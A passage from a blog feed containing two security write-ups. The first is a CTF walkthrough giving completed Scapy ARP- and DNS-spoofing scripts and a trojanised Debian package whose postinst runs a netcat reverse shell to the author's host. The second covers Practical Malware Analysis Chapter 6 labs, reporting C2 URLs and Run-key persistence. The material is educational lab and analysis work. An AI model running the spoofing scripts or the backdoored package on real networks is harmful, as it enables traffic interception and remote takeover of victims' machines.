screens as seen in one of the previous minigames, some of the commands are below:</p><p>● <strong>Ctrl+B+up or down</strong> — Resize terminals</p><p>● <strong>Ctrl+B+o</strong> — Switch between terminals</p><p>● <strong>`/usr/bin/tmux split-window -hb`</strong> — To add an additional terminal pane</p><p>Let’s investigate the network traffic:</p><pre>tcpdump -nni eth0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/297/1*81Z9yBFfkwyzjt_6kZ5b4Q.png" /></figure><p>As we can see 10.6.6.53 is flooding IP address 10.6.6.35 with ARP requests which is common as part of a MITM attack.</p><p>Let’s look at the ARP pcap:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*D_O16-wtPPNkqq79seE_NQ.png" /></figure><p>Following on, let’s look at the DNS pcap:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*EbYDlE_ZosFGV0JL2tz4dA.png" /></figure><p>To find your own IP and MAC address, use ifconfig. My IP was <strong>10.6.0.2</strong> and my mac as <strong>02:42:0a:06:00:02. This is subject to change each time the window times out (30 mins), sometimes randomly also, or you close the window.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/389/1*_jCZUDzKJg_OhU_uri6-dA.png" /></figure><p>In order to apply the ARP script, we require the victim mac address also:</p><pre>tcpdump -i eth0 –en</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*jD8orkgHx6up3bnU9fBU2w.png" /></figure><p>From this we can see the victim Mac is<strong> 4c:24:57:ab:ed:84</strong> and IP is <strong>10.6.6.35.</strong></p><p>If we look at the scripts folder, we can see there is an arp_resp.py and a dns_resp.py script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/243/1*lwIFT1GVcJNcwx-qleg6-Q.png" /></figure><p>If we open the ARP script, there are numerous variables we need to change specific to our attack:</p><pre>ether_resp = Ether(dst=&quot;SOMEMACHERE&quot;, type=0x806, src=&quot;SOMEMACHERE&quot;)<br>arp_response = ARP(pdst=&quot;SOMEMACHERE&quot;)<br>arp_response.op = 99999<br>arp_response.plen = 99999<br>arp_response.hwlen = 99999<br>arp_response.ptype = 99999<br>arp_response.hwtype = 99999<br>arp_response.hwsrc = &quot;SOMEVALUEHERE&quot;<br>arp_response.psrc = &quot;SOMEVALUEHERE&quot;<br>arp_response.hwdst = &quot;SOMEVALUEHERE&quot;<br>arp_response.pdst = &quot;SOMEVALUEHERE&quot;</pre><p>If we look at the <a href="https://www.cloudshark.org/captures/d97c5b81b057">ARP-Packet.pcap sample</a> provided on CloudShark, we can see what needs to be used within these variables. As this is a reply packet we are spoofing, we need to replicate a legit ARP reply packet. From the previous tcpdump we can see that 10.6.6.35 is the adversary here and so the destination packet will be to this address.</p><p>Therefore at the Ethernet (or datalink) level we use mac addresses, therefore ‘dst’ would be adversary mac and ‘src’ would be our mac address as we are spoofing this.</p><p>Following on from here we have ARP(pdst=”SOMEMACHERE”). As ARP is at the network layer with IP, we would use the destination IP here.</p><p>From the sample packets we can also see that the op code, protocol size, hardware length, protocol type and hardware type should all be 2, 4, 6, 0x0800 and 1 respectively:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*gW3C2rDXqDI6XO2rXe1eJw.png" /></figure><p>For the remaining variables, <a href="https://thepacketgeek.com/scapy/building-network-tools/part-05/">this article</a> from the thePacketGeek will help. From here we can see sniffed variables for an ARP response:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/404/1*KsnfFdloyKWs9l_Tuvffpg.png" /></figure><p>Therefore, for my IP of 10.6.6.02, the following variables are used:</p><pre>ether_resp = Ether(dst=”4c:24:57:ab:ed:84&quot;, type=0x806, src=”02:42:0a:06:00:02&quot;)<br>arp_response = ARP(pdst=&quot;4c:24:57:ab:ed:84&quot;)<br>arp_response.op = 2<br>arp_response.plen = 4<br>arp_response.hwlen = 6<br>arp_response.ptype = 0x0800<br>arp_response.hwtype = 0x1<br>arp_response.hwsrc = &quot;02:42:0a:06:00:02&quot;<br>arp_response.psrc = &quot;10.6.6.53&quot;<br>arp_response.hwdst = &quot;4c:24:57:ab:ed:84&quot;<br>arp_response.pdst = &quot;10.6.6.35&quot;</pre><p>If we then amend the variables for this file using nano or vim and then run the script:</p><pre>./arp_resp.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*tu62LvpJAhyxtabWAeXdug.png" /></figure><p>Once the ARP request has been performed, a DNS request to domain<a href="http://ftp.osuosl.org/"> ftp.osuosl.org</a> is sent and been sniffed by us. The next steps here are to create a DNS spoof using also the ‘python3 -m http.server 80’ printed earlier.</p><p>If we open up the DNS script this time, we will see the following variables need to be populated to perform a DNS spoof:</p><pre>ipaddr_we_arp_spoofed = &quot;10.6.1.10&quot;<br>def handle_dns_request(packet):<br># Need to change mac addresses, Ip Addresses, and ports below.<br># We also need<br>eth = Ether(src=&quot;00:00:00:00:00:00&quot;, dst=&quot;00:00:00:00:00:00&quot;) # need to replace mac addresses<br>ip = IP(dst=&quot;0.0.0.0&quot;, src=&quot;0.0.0.0&quot;) # need to replace IP addresses<br>udp = UDP(dport=99999, sport=99999) # need to replace ports<br>dns = DNS(<br># MISSING DNS RESPONSE LAYER VALUES<br>)<br>dns_response = eth / ip / udp / dns<br>sendp(dns_response, iface=&quot;eth0&quot;)</pre><p>● The IP address we are spoofing here is the adversary, 10.6.6.53</p><p>● At Ethernet level, we use MAC addresses — src being our MAC and dst being the adversary MAC</p><p>● IP we use the IP addresses, as we want this to appear legitimate — dst is the adversary IP and src is the victim IP</p><p>● DNS has been designed to be used on TCP and UDP, although for an ARP cache poisoning we use UDP because it does not perform a ‘handshake’ to initiate comms and verify the devices. Both ports will be DNS port number 53</p><p>Finally, the DNS command, or how I call it, the bane of my life:</p><p>We want to see how DNS packets <em>should</em> perform and to do this we must investigate the packets using some of the knowledge acquired from the Scapy Prepper minigame.</p><pre>cd pcaps<br>python3<br>from scapy.all import *<br>packets = rdpcap(‘dns.pcap’)</pre><p>If we now look at both packets (request and response) we will be able to see what should go into the DNS query for the script:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*TxQXpKc_dnbxlRP_nx-Ziw.png" /></figure><p>If we look at the packets reply, i.e. the 2nd DNS packet [DNS][1], compared to the request, we can see the response has the DNS Round Robin (DNSRR) mode. So, ‘qd’ is the query and ‘an’ is the answer.</p><p>Looking at the <a href="https://www.cloudshark.org/captures/0320b9b57d35">DNS packets</a> from the CloudShark sample, we can see that the response packet contains both the initial query content as well as the answer:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/317/1*V5ug-3Zxy22ao4dpfD21dQ.png" /></figure><p>The script therefore needs to be written to capture the initial query and reply. We can actually figure out what these other variables are using the link below and if we actually need them. I gathered the information from the following sites:</p><p><a href="http://www.networksorcery.com/enp/protocol/dns.htm">http://www.networksorcery.com/enp/protocol/dns.htm</a></p><p><a href="https://scapy.readthedocs.io/en/latest/api/scapy.layers.dns.html#scapy.layers.dns.DNSQRField">https://scapy.readthedocs.io/en/latest/api/scapy.layers.dns.html#scapy.layers.dns.DNSQRField</a></p><p><a href="https://jasonmurray.org/posts/scapydns/">https://jasonmurray.org/posts/scapydns/</a></p><p><a href="https://gist.github.com/joenorton8014/1beb5b2204c1504cf63c3f2755f574cd">https://gist.github.com/joenorton8014/1beb5b2204c1504cf63c3f2755f574cd</a></p><p>● AA — Authoritative Answer</p><p>● TC — Truncated</p><p>● RD — Recursion Desired</p><p>● RA — Recursion Available</p><p>● Z — 1 BIT</p><p>● Ad — Authenticated Data</p><p>● Cd — Checking Disabled</p><p>● Rcode — Return Code</p><p>● QR — Query/Response</p><p>● Op Code — Query, etc.</p><p>● NS — Authoritative Name Server</p><p>● Qname — Domain to Query</p><p>● Rdata — Response data (IP field)</p><p>Knowing this information, we can start to build the DNS Query and Response:</p><pre>DNS(qd=packet[DNS].qd,aa=1,rd=0,qr=1,an=DNSRR(rrname=&#39;ftp.osuosl.org&#39;,rdata=&#39;10.6.0.2&#39;))</pre><p>The final variables for this script are therefore:</p><pre>ipaddr_we_arp_spoofed = &quot;10.6.6.53&quot;<br>def handle_dns_request(packet):<br># Need to change mac addresses, Ip Addresses, and ports below.<br># We also need<br>eth = Ether(src=&quot;02:42:0a:06:00:02&quot;, dst=&quot;4c:24:57:ab:ed:84&quot;)<br>ip = IP(dst=&quot;10.6.6.35&quot;, src=&quot;10.6.6.53&quot;)<br>udp = UDP(dport=53, sport=53)<br>dns = DNS(qd=packet[DNS].qd,aa=1,rd=0,qr=1,an=DNSRR(rrname=&#39;ftp.osuosl.org&#39;,rdata=&#39;10.6.0.2&#39;))<br>dns_response = eth / ip / udp / dns<br>sendp(dns_response, iface=&quot;eth0&quot;)</pre><p>So once you have your scripts successfully amended and run, with tcpdump running, you will see the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*QYme0Jg6bTXcTo2f6wYu7w.png" /></figure><p>This shows us at the bottom there is an RST request. Normally indicating that the SYN packets have no response. Let’s try with the hint previously given:</p><pre>python3 -m http.server 80</pre><p>We can see that the adversary attempts for a GET request under the file structure below to a backdoor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*BxgN255ayGZvkKHL5CaIug.png" /></figure><p>Looking at the HTTP response we get:</p><p><strong>GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1&quot; 404</strong></p><p>We therefore need to create this file structure again and run the http server again, pointing to this fake file structure and Debian file. You may have noticed we have multiple Debian files in the debs folder:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*EWNn8ES0o0w8P8xoYfq87A.png" /></figure><p>There was also a hint provided from the minigame on how to <a href="http://www.wannescolman.be/?p=98">trojanise a Debian file</a>. For this we want to use a reverse shell. As a hint, we need to ensure the Debian file has the same structure as the ‘suriv’ Debian file, using AMD 64 structure, the x86–64 instruction set.</p><p>Obviously looking at these we do <strong>not </strong>use Metasploit. This part of the box actually took ages also with a load of trial and error. We can also use a <a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">reverse shell cheat sheet</a> — try using LOTL techniques as they are:</p><p>a) Likelier to be configured on the adversary’s shell</p><p>b) Less likely to require sudo to run.</p><p>I tried bash but didn’t have the correct permissions to run.</p><p>Therefore, the next best guess was netcat:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*4zxESuxSFFHVuDr1--hCUQ.png" /></figure><pre>nc -e /bin/sh 10.6.0.2 4444</pre><p><strong>Note:</strong> It’s important not to run this on port 80 as this is entirely independent of the web server.</p><p>We can then test this in another screen from tmux, using nc as a listener:</p><pre>nc -lvnp 4444</pre><p>We can then weaponise a legitimate Debian file. The file structure will be /pub/jfrost/backdoor which we will make using the mkdir command followed by moving the netcat file into this file structure. I chose to weaponise the netcat Debian file as it’s in the AMD 64 structure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/261/1*N9BHUkDBNRXyaCyTnrTxjA.png" /></figure><p><strong>Note:</strong> At the very end, the .deb file must also be renamed as suriv_amd64.deb. After this we run the http server, nc listener, DNS and ARP spoofing and we will then receive a shell on the netcat listener.</p><p>Following the steps in the Debian file weaponisation site tailoring this to our environment, the control file is compressed as a .xz file so this needs to be decompressed then gzipped to make a .tar.gz file:</p><pre>~$ dpkg -x netcat-traditional_1.10–41.1ubuntu1_amd64.deb work<br>~$ mkdir work/DEBIAN<br>~$ ar -x netcat-traditional_1.10–41.1ubuntu1_amd64.deb<br>~$ xz - decompress control.tar.xz<br>~$ gzip control.tar<br>~$ tar -zxvf control.tar.gz ./control<br>~$ tar -zxvf control.tar.gz ./postinst<br>~$ mv control work/DEBIAN<br>~$ mv postinst work/DEBIAN</pre><p>Next, let’s amend postinst and rewrite it so that it contains the reverse shell we mentioned above using port 4444. Using nano or vim, it should look like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*yX8v-cVKuglUsMPRSazzLg.png" /></figure><p>Next, let’s change the file permissions of this file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*IQKJbddMRQFjJstJ7zR9Rw.png" /></figure><p>Next, let’s rebuild the package, and give it the name suriv_amd64.deb:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*oxKI7-um8-NUMmtry5DoEw.png" /></figure><p>We have now weaponised the .deb file! Next we need to open the server (in the appropriate directory), use nc listener, run the ARP and DNS poisoning scripts again.</p><p>In 1 screen, run in the file directory /pub/jfrost/backdoor:</p><pre>python3 -m http.server 80</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/314/1*tnS-a-n7lW41IxUXJA2MNw.png" /></figure><p>Secondly run the netcat listener in another screen:</p><pre>nc -lvnp 4444</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/319/1*B1423X3aB0b6tLMzXjAKDg.png" /></figure><p>Thirdly, run DNS script:</p><pre>./dns.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/316/1*tYDcfpL2oCjikgQfuR_k-w.png" /></figure><p><strong>Note:</strong> I found it easier to copy the scripts into a notepad and then create a new file under the names dns.py and arp.py to save time.</p><p>Fourthly (and finally, I promise) we run the arp spoof in another screen:</p><pre>./arp.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*bKnGbF9DlXPnuSmPnw5-_Q.png" /></figure><p>From here we can see that the backdoor has been successfully downloaded. Next we go into the netcat listener and look for the initial file:</p><p>If we run ‘ls’ on the listener we can see the file we are after.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/290/1*Pd1fbVxJzI_b8-_PLZzuFA.png" /></figure><p>Concatenating this we see the file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/1*jb0e9gI0y-GCjn6mSm_hnw.png" /></figure><p>Reading carefully, we see that it was <em>Tanta Kringle</em> who recused herself from the vote. This is the flag!</p><p><strong>Answer:</strong> Tanta Kringle</p><p>And that wraps this challenge up. This was a huge learning curve for myself and hopefully you have learnt something from this as well.</p><p>As always, stay safe!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ed6aa9233e03" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Practical Malware Analysis — Chapter 6 Labs]]></title>
            <link>https://ellisstannard.medium.com/practical-malware-analysis-chapter-6-labs-d02de4a890d4?source=rss-2324a68ec96b------2</link>
            <guid isPermaLink="false">https://medium.com/p/d02de4a890d4</guid>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Ellis S]]></dc:creator>
            <pubDate>Fri, 11 Dec 2020 12:30:19 GMT</pubDate>
            <atom:updated>2020-12-14T10:42:34.195Z</atom:updated>
            <content:encoded><![CDATA[<h3>Practical Malware Analysis — Chapter 6 Labs</h3><p><a href="https://books.google.co.uk/books/about/Practical_Malware_Analysis.html?id=DhuTduZ-pc4C&amp;source=kp_book_description&amp;redir_esc=y">Practical Malware Analysis</a> is a book introducing fundamental and advance analysis of malware both statically and dynamically. Today, we work through the Practical Malware Analysis exercises in Chapter 6 — Recognising C Code Constructs in Assembly Language. This chapter if you haven’t guessed is for helping understand what is going on within functions, subroutines, etc. in Assembly Language.</p><p>You can download the labs <a href="https://practicalmalwareanalysis.com/labs/">here</a>.</p><h3><strong>Lab 6–1</strong></h3><p><em>In this lab, you will analyze the malware found in the file Lab06–01.exe.</em></p><p>Firstly, let’s do a quick analysis of this executable using basic techniques.</p><p>If we use PE Explorer, we can see two DLLs in the Import Viewer, WININET.dll and KERNEL32.dll. One function of particular interest is ‘InternetGetConnectedState’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*uyD5WzJZkgcf-hBLQszD8A.png" /></figure><p>Still using PE Explorer, viewing in the disassembly mode, we can view some of the key strings (note, running strings.exe is probably a better approach):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*JfG-yNbuYVEeXeMK9upTNQ.png" /></figure><p>This gives an indication the executable uses heap capabilities. From an initial guess, I reckon the executable checks if there is an internet connection.</p><p>However, if we run ApateDNS, no DNS requests are detected from this malware…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*BR68YBA-FWuUq0YyNzRRjQ.png" /></figure><p><em>Questions:</em></p><p><em>1. What is the major code construct found in the only subroutine called by main?</em></p><p>Let’s open IDA Pro. Firstly, if you’re running this in Windows 10, then the sub routine will not show as ‘main’. It’s clear however that the main function is the first subroutine, sub_401000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*y7vU8ChaBUDl6msxJXV8NA.png" /></figure><p><a href="https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetgetconnectedstate">InternetGetConnectedState</a> retrieves the connected state of the local system. This is accompanied by an LDPWORD ‘lpdwFlags’ (pointer to a variable that receives the connection description) and DWORD ‘dwReserved’ (reserved parameter which must be 0).</p><p>Following the C structure, we see that this has an if statement, because of the conditional jump jz to loc_40102B else to sub_40105F (connection successful).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*QUgQM_01Kzm7Gb83a7Fewg.png" /></figure><p>This is further confirmed in graphical view, where you can see both outcomes still end with the loc_40103A process return. In a nutshell, this checks for an internet connection and returns the result to main.</p><p><em>2. What is the subroutine located at 0x40105F?</em></p><p>This sub is called in both outcomes of the if statement in the main function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/227/1*acvtjPzcUpeKbeaXxAcGtQ.png" /></figure><p>The executable likely prints the result following the check of InternetGetConnectionState — C language uses the printf function.</p><p><em>3. What is the purpose of this program?</em></p><p>The purpose is to simply check the internet connection of the endpoint it is running on and printf the status.</p><h3>Lab 6–2</h3><p><em>Analyze the malware found in the file Lab06–02.exe.</em></p><p>Dependency Walker shows that there are two DLL imports; KERNEL32.DLL and WININET.DLL. WININET not mentioned beforehand, is a module containing different internet functions, used to share functions for various applications. As we can see in the image below the following functions are shown:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*1cAR12itV_-HOSplBc-Otw.png" /></figure><p>We get that same ‘InternetGetConnectedState’ again. This time also initiating WININET functions (InternetOpenA) to an application and opening a resource specified by an FTP or HTTP URL (InternetOpenUrlA), followed by reading data from the handle (InternetReadFile).</p><p>Using the strings.exe function now, we can analyse the associated strings with this executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*Fsv7heTCRUtzg3kzguzRGQ.png" /></figure><p>The strings results, indicates that they make use of the heap, multithreading and console capabilities. Console implementation is possible here to an adversary’s device, since WININET.dll we know is a module for internet functions.</p><p>Other functions listed outside of this image are:</p><ul><li>GetEnvironmentStrings</li><li>GetFileType</li><li>WriteFile</li><li>Error</li><li>Error 1.1: No Internet</li><li>Success: Internet Connection</li><li>Error 2.3: Fail to get command</li><li>Error 2.2: Fail to ReadFile</li><li>Error 2.1: Fail to OpenUrl</li><li><a href="http://www.practicalmalwareanalysis.com/cc.htm">http://www.practicalmalwareanalysis.com/cc.htm</a></li><li>Internet Explorer 7.5/pma</li><li>Success: Parsed command is %c</li></ul><p>If one didn’t know any better, they’d guess the executable checks the internet connection (similar to Lab 6–1), send a DNS request to the URL listed above, using HTTP Internet Explorer User-Agent to read and download a file on that URL from parsing some specific text from that page.</p><p>Furthermore, if we run the executable, it prints out ‘Success: Internet Connection’ — indicating there that same printf function, similar to what was seen in Lab 6–1.</p><p>DNS requests have been detected using ApateDNS to <a href="http://www.praticalmalwareanalysis.com/">www.praticalmalwareanalysis.com</a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*x78hvlQ81PndpdaF1vNrug.png" /></figure><p><em>Questions:</em></p><ol><li><em>What operation does the first subroutine called by main perform?</em></li></ol><p>Looking at the Main subroutine at Memory Address 00401000, we see the function follows the same logic as Lab 6–1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*vOblEATNcaVFv43e8Mmpag.png" /></figure><p>Checking the computer is connected to the Internet using ‘internetGetConnectedState’ function.</p><p><em>2. What is the subroutine located at 0x40117F?</em></p><p>Looking at 0x40117F, we can quickly see this is the same as the Printf function in Lab 6–1:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*q3Drl6cBxlgaBWk4NPinsQ.png" /></figure><p><em>3. What does the second subroutine called by main do?</em></p><p>The second subroutine called by main is at Memory Address 00401040. This is effectively an array using the InternetOpenAand InternetOpenURLA functions as seen before to <a href="http://www.practicalmalwareanalysis.com/cc">http://www.practicalmalwareanalysis.com/</a>htm using the Internet Explorer 7.5/pma user agent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*ps_PEX5E9RmKQL88NgkOsw.png" /></figure><p>This has a conditional jump using the jnz function jumping to subroutine loc_40109D if the URL was successfully open. Looking at this function (see below) we can see a call to the InternetReadFIle function used to download resources from HINTERNET handle returned by the InternetOpenURL function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*-EvDQTibHhJlJp7Fceqclw.png" /></figure><p>If the file is successfully read, then then the first 200h or 0x200 bytes (NumberOfBytesToRead) are read using the InterNetReadFile call. This is then compared after being saved into EAX with 0 using JNZ which will then jump to subroutine 4010E5 if buffer was read successfully.</p><p><em>4. What type of code construct is used in this subroutine?</em></p><p>The URL <a href="http://www.practicalmalwareanalysis.com/cc.htm">http://www.practicalmalwareanalysis.com/cc.htm</a> found uses the common abbreviation of HTML, <em>htm </em>which is<em> </em>used by earlier operating systems and file systems, such as <a href="https://en.wikipedia.org/wiki/DOS">DOS</a> and the limitations imposed by <a href="https://en.wikipedia.org/wiki/File_Allocation_Table">FAT</a> data structure, limited file extensions to three letters.</p><p>We can further determine this by the code construct within the Array.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*xRdifABbezctisylj2NwzA.png" /></figure><p>Converting the values to text provides ‘&lt;! — ‘ finding what is contained in subroutine 0x401115.</p><p><em>5. Are there any network-based indicators for this program?</em></p><p>Two network-based indicators were found:</p><ul><li><a href="http://practicalmalwareanalysis.com/cc.htm">http://www.practicalmalwareanalysis.com/cc.htm</a> — URL from which files were downloaded</li><li>Internet Explorer 7.5/pma — HTTP User Agent</li></ul><p><em>6. What is the purpose of this malware?</em></p><p>We see that if subroutine 401040 reads the HTML comment and returns true to main, subroutine 40115C will execute and print “Success: Parsed comman is %c\n”, meaning that the HTML comment that was read will be passed as a command. Once successfully parsed, it will sleep for 0EA60h or 60 seconds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*g54bP8oAavOoI_aG2kooEA.png" /></figure><p>This executable checks the host has an internet connection. If an Internet connection is present, the program will open a handle to the website <a href="http://practicalmalwareanalysis.com/cc.htm">http://practicalmalwareanalysis.com/cc.htm</a> and read a comment, that will be parsed as a command to the program. If this comment is parsed successfully, then the program will sleep for a minute.</p><h3><strong>Lab 6–3</strong></h3><p><em>In this lab, we’ll analyze the malware found in the file Lab06–03.exe</em></p><p>Using PE Explorer, we can have a look at the section headers, where we see the size of the Virtual and Raw Size are similar so this executable is not packed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*17fYJsZvAFExAtSlEWwUlw.png" /></figure><p>Looking at the Import Viewer (still in PE Explorer), we can see there are three Imported DLLs:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*yxBxcM96lbQHY1eU-hy4og.png" /></figure><p>KERNEL32.DLL and WININET.DLL were seen in the previous labs, however ADVAPI32.DLL was not seen. ADVAPI32.DLL is the Advanced API services library which is a utility that is designed to support APIs including registry and security calls. These are responsible for restarting and shutting down the system, Windows registry, managing user accounts and starting and stopping and creating Windows Services. The two functions are for the following:</p><ul><li>RegSetValueExA — Sets the data and type of a specified value under a registry key</li><li>RegOpenKeyExA — Opens the specified registry key</li></ul><p>Using Strings.exe, we immediately see the following string:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*jlZsmFdo2WQcOhga5M3SLA.png" /></figure><p>This is an indication the program is a portable executable. Further analysis we see similar strings to Lab 6–2, with heap and multithread capabilities:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/452/1*v9pOgVACT6FKc25Huddhdw.png" /></figure><p>Looking further down, we see the commands that match to the registry functions observed beforehand:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/410/1*N60GPKgk2v_hYHHPmFE3xA.png" /></figure><p>It seems parsing is done again and the use of an executable ‘cc.exe’. run in the ‘C:\Temp’ directory. We also see the registry key ‘Software\Microsoft\Windows\CurrentVersion\Run’.</p><p>Other interesting strings of interest found included (but not limited to):</p><ul><li>Sleep</li><li>DeleteFileA</li><li>CopyFileA</li><li>CreateDirectoryA</li><li>InternetGetConnectedState</li></ul><p>Running the malware, we unfortunately see no results using Process Hacker or Regshot relating to our previous finds.</p><p>Using FakeNet, we can see that there are HTTP requests to IP 192.0.2.123 from the domain www.practicalmalwareanalysis.com.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*kOT0C6CmTsz_7So590_Tlg.png" /></figure><p>This behaviour is very similar to what we saw with Lab 6–2.</p><p><em>Questions</em></p><p><em>1. Compare the calls in main to Lab 6–2’s main method. What is the new function called from main?</em></p><p>Looking at the Main function in IDA Pro, we can see that this follows the same ‘if’ logic as Lab 6–2, calling the ‘InternetGetConnectedState’ function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UEgy4y7e3S2iDUsnllhpTQ.png" /></figure><p>This follows the same logic up until the new Subroutine sub_401130. This uses the CopyFileA function, which was determined by the ‘lpExistingFileName’ parameter (see below image).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*gTH96obGLAnbgptimMrDdQ.png" /></figure><p>We can see this function follows a switch statement, once the filename has been read:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gEmVOLINtGa4y8aKlSs2ng.png" /></figure><p>These are easier to be read in text mode, but in summary all functions jump to Loc_4011EE after the following:</p><ul><li>Loc_40115A — Calls CreateDirectoryA with path C:\\</li><li>Loc_40116C — Calls CopyFileA for C:\\Temp\\cc.exe</li><li>Loc_40117F — Calls DeleteFileA</li><li>Loc_40118C — Calls RegOpenKeyExA for using the Software\Microsoft\Windows\CurrentVersion\Run directory and setting the ValueName as ‘Malware’ using RegSetValueExA call to store the data in C:\\Temp\\cc.exe</li><li>Loc_4011D4 — Calls Sleep which is performed for 186A0h or 100 seconds in decimal</li></ul><p>The malware seems to be setting a registry value which runs the malware each time the computer starts up, a persistence mechanism. Once the registry key is installed, this malware will activate.</p><p>Following on from this, we see the lpExistingFileName being called at loc_40123C, after the successful Parsing Command message:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*R9FXUVBlfrSPKesMCK305A.png" /></figure><p>Here we can see the call for Sleep function is used for 60 seconds. Furthermore the Printf function is seen below at sub_401271:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*0eQCHeam1ypou8UADSqYKg.png" /></figure><p><em>2. What parameters does this new function take?</em></p><p>The function sub_401130, takes two parameters; the lpExistingFileName and arg_0.</p><p><em>3. What major code construct does this function contain?</em></p><p>As mentioned before, we observed a switch statement with a jump table.</p><p><em>4. What can this function do?</em></p><p>As mentioned before:</p><ul><li>Loc_40115A — Calls CreateDirectoryA with path C:\\</li><li>Loc_40116C — Calls CopyFileA for C:\\Temp\\cc.exe</li><li>Loc_40117F — Calls DeleteFileA</li><li>Loc_40118C — Calls RegOpenKeyExA for using the Software\Microsoft\Windows\CurrentVersion\Run directory and setting the ValueName as ‘Malware’ using RegSetValueExA call to store the data in C:\\Temp\\cc.exe</li><li>Loc_4011D4 — Calls Sleep which is performed for 186A0h or 100 seconds in decimal</li></ul><p><em>5. Are there any host-based indicators for this malware?</em></p><ul><li>The registry key Software\Microsoft\Windows\CurrentVersion\Run\</li><li>The program cc.exe located in C:\\Temp</li></ul><p><em>6. What is the purpose of this malware?</em></p><p>To check for an internet connection and download a command. The malware will then parse this command, and if its running for the first time it will create and set a registry key, which then is re-run on start-up. This malware allows the owner to create or delete files, and create directories.</p><h3>LAB 6–4</h3><p>In this lab, we’ll analyze the malware found in the file Lab06–04.exe.</p><p>Using Dependency Walker, we see the same imports being used as Lab 6–3; KERNEL32.DLL, WININET.DLL, ADVAPI32.DLL:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J51aC26V2o-ixJ6Vc-LaEg.png" /></figure><p>We can also see in PE Explorer that the Virtual Size and Raw Size are similar, confirming this executable is not packed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*ZNUTcdaF8c7OFkt-t3EnQw.png" /></figure><p>Opening up now Strings.exe, we see the same strings again for heap and multithread capabilities.</p><p>Strings of particular interest are shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/1*MPnaXqknbFVCJDfzsXXIWQ.png" /></figure><p>Here we see similar indicator from Lab 6–3 but this time the user agent is over HTTP Internet Explorer 7.5/pma%d instead of ‘pma.</p><p>We also see strings such as:</p><ul><li>Sleep</li><li>DeleteFileA</li><li>CopyFileA</li><li>CreateDirectoryA</li><li>InternetGetConnectedState</li><li>RegSetValueExA</li><li>RegOpenKeyExA</li><li>WriteFile</li></ul><p>When running the malware, we also see a DNS request using ApateDNS:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*bGp5JmcvMClZKR51yERYeA.png" 